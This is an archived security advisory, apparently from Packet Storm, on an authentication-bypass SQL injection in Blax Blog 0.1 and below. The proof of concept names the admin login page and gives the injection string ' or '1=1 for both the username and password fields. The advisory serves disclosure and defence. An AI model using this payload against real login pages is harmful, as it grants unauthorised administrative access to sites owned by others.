Blax Blog versions 0.1 and below suffer from a remote SQL injection vulnerability that allows for authentication bypass.
224ac54fd4a4daf8bcf7d974783b286b# Blax Blog <= 0.1 (Auth Bypass) SQL Injection Vulnerability
# By cr4wl3r
# Download: http://www.proje3x.com/indir/blax.rar
# PoC: [path]/admin/girisyap.php
# Username: ' or '1=1
# password: ' or '1=1
© 2012 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed
Comments
No comments yet, be the first!